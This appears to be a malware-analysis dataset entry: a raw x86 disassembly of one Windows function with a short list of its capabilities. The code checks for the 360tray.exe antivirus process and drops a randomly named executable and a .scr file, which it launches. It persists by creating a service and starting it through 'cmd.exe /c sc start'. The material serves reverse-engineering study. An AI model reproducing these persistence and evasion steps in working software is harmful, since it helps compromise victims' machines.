Function at 0x404000
Capabilities:
Create directory
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x412200
push 0x40a108
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x63c
push ebx
push esi
push edi
push 0x200
lea eax, [ebp - 0x3a4]
push eax
xor ebx, ebx
push ebx
call fcn.00409870
push 0x80
lea ecx, [ebp - 0x1a0]
push ecx
call fcn.00409730
mov byte [ebp - 0x19e], bl
push 0x414ffc
mov edx, dword [ebp + 0x14]
push edx
call fcn.0040a2e4
add esp, 0x1c
mov edx, eax
cmp edx, ebx
je 0x404102
lea ebx, [ebp - 0x1a0]
mov edi, 0x414ffc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, ebx
mov ebx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ebx, [ebp - 0x1a0]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x1a0]
push eax
call fcn.00409930
add esp, 4
test eax, eax
jne 0x4040e8
push eax
lea ecx, [ebp - 0x1a0]
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
push 0x414ffc
xor ebx, ebx
push ebx
call fcn.0040a2e4
add esp, 8
mov edx, eax
cmp edx, ebx
jne 0x40406c
lea edi, [ebp - 0x1a0]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea edx, [ebp - 0x3a4]
push edx
lea eax, [ebp - 0x1a0]
push eax
call fcn.0040a670
add esp, 0xc
test eax, eax
je 0x40424c
mov dword [0x41864c], 1
push 0x1a
call fcn.00406100
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00406100
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00406100
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00406100
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00406100
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00406100
add esp, 4
add eax, 0x61
push eax
push str._c_c_c_c_c_c.exe
lea ecx, [ebp - 0x3fc]
push ecx
call dword [0x418604]
lea edx, [ebp - 0x1a0]
mov edi, 0x414ffc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x3fc]
lea edx, [ebp - 0x1a0]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x1a0]
push eax
lea ecx, [ebp - 0x3a4]
push ecx
call fcn.00403570
add esp, 0x28
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x3a4]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x1a0]
lea edx, [ebp - 0x3a4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x3a4]
push ecx
call fcn.004048e0
push str.360tray.exe
call fcn.004036c0
add esp, 8
test eax, eax
je 0x40431e
mov byte [ebp - 0x40c], 0
xor edx, edx
mov dword [ebp - 0x40b], edx
mov dword [ebp - 0x407], edx
mov dword [ebp - 0x403], edx
mov word [ebp - 0x3ff], dx
mov byte [ebp - 0x3fd], dl
mov byte [ebp - 0x44c], dl
mov ecx, 0xf
xor eax, eax
lea edi, [ebp - 0x44b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x10
lea eax, [ebp - 0x40c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push str.:winX86_6021125.scr
movsx ecx, byte [ebp - 0x40c]
push ecx
push str._c_s
lea edx, [ebp - 0x44c]
push edx
call dword [0x418604]
add esp, 0x10
push 1
call fcn.00404f50
push ebx
lea eax, [ebp - 0x44c]
push eax
push 0x414fc4
push 0x66
push ebx
call fcn.00402520
add esp, 0x14
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x44c]
push ecx
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov dword [ebp - 0x1a4], ebx
mov dword [ebp - 0x3ac], ebx
mov dword [ebp - 0x3a8], ebx
mov dword [ebp - 4], ebx
push 0xf003f
push ebx
push ebx
call dword [0x4185d4]
mov esi, eax
mov dword [ebp - 0x3a8], esi
cmp esi, ebx
je 0x404490
push ebx
push ebx
push ebx
push ebx
push ebx
lea edx, [ebp - 0x1a0]
push edx
push ebx
push 2
push 0x10
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov ebx, dword [ebp + 8]
push ebx
push esi
call dword [0x4185c0]
mov dword [ebp - 0x3ac], eax
mov byte [ebp - 0x64c], 0
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x64b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push ebx
push str.cmd.exe__c_sc_start__s
lea ecx, [ebp - 0x64c]
push ecx
call dword [0x418604]
add esp, 0xc
mov eax, dword [ebp - 0x3ac]
test eax, eax
jne 0x4043eb
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x431
jne 0x4043eb
push 0xf01ff
push ebx
push esi
call dword [0x4185d0]
mov dword [ebp - 0x3ac], eax
test eax, eax
je 0x404490
push 0
lea edx, [ebp - 0x64c]
push edx
call dword [sym.imp.KERNEL32.DLL_WinExec]
push 0
lea eax, [ebp - 0x64c]
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
lea edx, [ebp - 0x120]
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x120]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x1a4]
push eax
lea ecx, [ebp - 0x120]
push ecx
push closesocket
call dword [0x4185c4]
mov esi, dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
push esi
push 1
push 0
push str.Description
mov edx, dword [ebp - 0x1a4]
push edx
call dword [0x4185c8]
mov esi, dword [ebp - 0x3a8]
mov dword [ebp - 4], 0xffffffff
call fcn.004044b3
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret